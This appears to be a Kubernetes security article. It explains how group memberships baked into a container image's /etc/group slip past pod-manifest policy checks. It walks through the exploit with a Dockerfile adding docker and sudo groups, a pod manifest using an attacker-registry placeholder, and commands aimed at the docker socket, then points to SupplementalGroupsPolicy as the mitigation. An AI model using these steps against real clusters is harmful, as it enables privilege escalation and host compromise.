Container Image Supplemental Group Injection
Kubernetes merges group memberships by default. When a pod starts, the container runtime resolves the supplemental group IDs for the container process by combining the groups explicitly specified in the pod's security context (supplementalGroups, fsGroup, runAsGroup) with the group memberships defined in /etc/group inside the container image for the container's primary user.
This implicit merge is invisible in the pod manifest. Policy engines that validate pod specifications cannot detect group IDs that originate from the image, because there is no manifest field that reflects them. A container image that includes crafted entries in its /etc/group file can therefore inject additional group IDs into the running container process beyond what the operator declared — including group IDs that provide access to sensitive volumes, host paths, or shared resources within the pod.
Exploitation Steps
An attacker with the ability to influence the container image used by a pod crafts an image that includes privileged group memberships for its primary user.
1. Craft a Malicious Container Image
The attacker builds an image where the primary user (uid 1000) is a member of a privileged group — for example, GID 27 (sudo on many Linux systems) or GID 999 (docker):
FROM ubuntu:24.04
RUN useradd -u 1000 appuser && \
groupadd -g 999 docker && \
usermod -aG docker appuser && \
usermod -aG sudo appuser
USER appuser
The resulting /etc/group inside the image maps uid 1000 to GIDs 999 and 27 in addition to the primary group.
2. Deploy a Pod Using the Image
The attacker pushes this image to a registry accessible by the cluster and deploys a pod that appears to have a restricted security context:
apiVersion: v1
kind: Pod
metadata:
name: data-processor
namespace: production
spec:
securityContext:
runAsUser: 1000
runAsGroup: 3000
supplementalGroups: [4000]
containers:
- name: processor
image: attacker-registry.example.com/data-processor:latest
The pod manifest shows only supplementalGroups: [4000]. There is no indication in the manifest that additional groups will be applied.
3. Observe Injected Group IDs
When the pod runs, the container process has the full merged group list including the groups injected from the image:
kubectl exec data-processor -- id
# uid=1000 gid=3000 groups=3000,4000,27,999
Groups 27 and 999 were not declared in the pod spec. They come entirely from /etc/group in the image. Policy engines that validated the pod manifest had no visibility into these groups.
4. Access Group-Restricted Resources
The injected group IDs grant the container process access to any file, device, or volume that is group-accessible to GIDs 27 or 999. If a host volume is mounted that is readable by the docker group, the container can read it:
kubectl exec data-processor -- ls -la /var/run/docker.sock
# srw-rw---- 1 root docker 0 Mar 20 10:00 /var/run/docker.sock
kubectl exec data-processor -- cat /var/run/docker.sock
Result
The container process gains access to group-restricted resources that the pod operator did not intend to grant. Policy-based controls that evaluate only the pod manifest miss this attack entirely, because the injected group IDs have no representation in the Kubernetes API. An attacker with control over the container image can silently expand the effective permissions of any pod that uses it.
Mitigation
➡ Controlling Supplemental Group IDs with SupplementalGroupsPolicy
References
This article is based on information from the following official sources:
- Fine-grained SupplementalGroups control for Pods (GA) - Kubernetes Blog
- Fine-grained SupplementalGroups control for Pods (Alpha) - Kubernetes Blog
- Configure a Security Context for a Pod or Container - Kubernetes Documentation